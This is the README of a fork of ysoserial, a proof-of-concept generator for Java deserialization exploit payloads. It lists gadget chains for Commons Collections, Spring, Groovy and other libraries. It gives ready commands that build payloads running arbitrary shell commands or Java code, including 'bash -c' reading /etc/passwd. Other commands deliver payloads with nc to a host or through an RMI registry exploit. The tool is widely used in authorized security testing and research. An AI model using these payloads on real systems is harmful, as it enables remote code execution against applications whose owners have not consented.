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A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
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README.md

ysoserial

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A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

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Description

Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE <= 1.7u21 and several other libraries.

ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

Usage

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

修改 ysoserial.payloads.util.Gadgets 增强了一些功能
cmds:// 用 exec(new String[]{}) 来调用命令, 原版的 ysoserial 是不能 bash -c "" 这样执行命令的

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 'cmds://["bash","-c","kate /etc/passwd"]' > target/1.bin

file:// 将会读取文件, 执行里面的 java 代码

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 file://1.java > target/1.bin

Examples

$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Installation

  1. Download the latest jar from JitPack Download Latest Snapshot

Note that GitHub-hosted releases were removed in compliance with the GitHub Community Guidelines

Building

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

Code Status

Build Status Build status

Contributing

  1. Fork it
  2. Create your feature branch (git checkout -b my-new-feature)
  3. Commit your changes (git commit -am 'Add some feature')
  4. Push to the branch (git push origin my-new-feature)
  5. Create new Pull Request

See Also

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